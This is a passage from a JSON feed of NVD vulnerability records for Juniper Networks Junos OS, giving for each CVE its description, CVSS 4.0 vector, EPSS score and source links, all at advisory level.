fixes.","publishedAt":"2026-10-14T17:18:02.017Z","updatedAt":"2026-10-16T16:16:50.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102064","asOf":"2026-10-16T16:16:50.790Z"},"epss":{"probability":0.00374,"percentile":0.31044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102064","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102064","type":"primary","publishedAt":"2026-10-14T17:18:02.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102063","cveId":"CVE-2026-102063","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a denial of service via an eBGP route update when HFRR link protection is configured in a VRF.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a denial of service via an eBGP route update when HFRR link protection is configured in a VRF.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:01.877Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102063","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00289,"percentile":0.21222,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102063","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102063","type":"primary","publishedAt":"2026-10-14T17:18:01.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102061","cveId":"CVE-2026-102061","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to...","summary":"A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to execute arbitrary code as root via a crafted DHCP SZTP bootstrap message.\n\nThis issue only affects platforms that support Secure-ZTP.","detail":"A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to execute arbitrary code as root via a crafted DHCP SZTP bootstrap message.\n\nThis issue only affects platforms that support Secure-ZTP.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:01.580Z","updatedAt":"2026-10-16T15:17:01.477Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102061","asOf":"2026-10-16T15:17:01.477Z"},"epss":{"probability":0.0034,"percentile":0.27187,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102061&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102061","type":"primary","publishedAt":"2026-10-14T17:18:01.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102061&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102061, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102060","cveId":"CVE-2026-102060","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent...","summary":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent attacker to cause a denial of service via an IGMPv3 membership report received on a directly connected network.","detail":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent attacker to cause a denial of service via an IGMPv3 membership report received on a directly connected network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:01.417Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102060","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00251,"percentile":0.16272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102060","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102060","type":"primary","publishedAt":"2026-10-14T17:18:01.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102060, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102059","cveId":"CVE-2026-102059","aliases":[],"kind":"vulnerability","title":"An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos...","summary":"An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved on EX Series, SRX Series, and QFX Series allows an adjacent unauthenticated attacker to execute arbitrary commands with root privileges via a rogue DHCP server.","detail":"An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved on EX Series, SRX Series, and QFX Series allows an adjacent unauthenticated attacker to execute arbitrary commands with root privileges via a rogue DHCP server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:01.253Z","updatedAt":"2026-10-16T15:17:01.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102059","asOf":"2026-10-16T15:17:01.333Z"},"epss":{"probability":0.03898,"percentile":0.90182,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102059","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102059","type":"primary","publishedAt":"2026-10-14T17:18:01.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102058","cveId":"CVE-2026-102058","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of...","summary":"A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service by restarting the daemon via crafted BFD session traffic.","detail":"A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service by restarting the daemon via crafted BFD session traffic.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:01.090Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102058","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00257,"percentile":0.17141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102058&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102058","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102058","type":"primary","publishedAt":"2026-10-14T17:18:01.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102058&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102058, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102057","cveId":"CVE-2026-102057","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP...","summary":"A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP client response. The issue affects DHCP client operation and can interrupt related DHCP, relay, and zero-touch-provisioning services.","detail":"A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP client response. The issue affects DHCP client operation and can interrupt related DHCP, relay, and zero-touch-provisioning services.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:00.937Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102057","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00372,"percentile":0.30828,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102057&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102057","type":"primary","publishedAt":"2026-10-14T17:18:00.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102057&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102057, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102056","cveId":"CVE-2026-102056","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon...","summary":"An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon and disclose limited process memory via a specific CFM Message sent to a configured interface.","detail":"An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon and disclose limited process memory via a specific CFM Message sent to a configured interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:00.753Z","updatedAt":"2026-10-16T17:17:09.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102056","asOf":"2026-10-16T17:17:09.943Z"},"epss":{"probability":0.00265,"percentile":0.18267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102056&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102056","type":"primary","publishedAt":"2026-10-14T17:18:00.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102056&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102056, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102055","cveId":"CVE-2026-102055","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated...","summary":"A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated adjacent-network attacker to execute arbitrary code as root or cause denial of service via a specific CFM Message sent to a configured down-MEP with enhanced CFM mode enabled.","detail":"A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated adjacent-network attacker to execute arbitrary code as root or cause denial of service via a specific CFM Message sent to a configured down-MEP with enhanced CFM mode enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:00.590Z","updatedAt":"2026-10-16T15:17:01.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102055","asOf":"2026-10-16T15:17:01.180Z"},"epss":{"probability":0.00325,"percentile":0.25374,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102055","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102055","type":"primary","publishedAt":"2026-10-14T17:18:00.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102052","cveId":"CVE-2026-102052","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause...","summary":"A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause denial of service or execute arbitrary code with root privileges via a malformed DHCPv4 server response when the DHCPv4 local-client feature is used.","detail":"A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause denial of service or execute arbitrary code with root privileges via a malformed DHCPv4 server response when the DHCPv4 local-client feature is used.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:18:00.113Z","updatedAt":"2026-10-16T15:17:01.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102052","asOf":"2026-10-16T15:17:01.023Z"},"epss":{"probability":0.0034,"percentile":0.27242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102052&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102052","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102052","type":"primary","publishedAt":"2026-10-14T17:18:00.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102052&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102052, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102051","cveId":"CVE-2026-102051","aliases":[],"kind":"vulnerability","title":"An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent...","summary":"An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause l2cpd memory exhaustion and Layer 2 control-plane disruption via LLDP traffic when fast receive processing is enabled.","detail":"An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause l2cpd memory exhaustion and Layer 2 control-plane disruption via LLDP traffic when fast receive processing is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:59.943Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 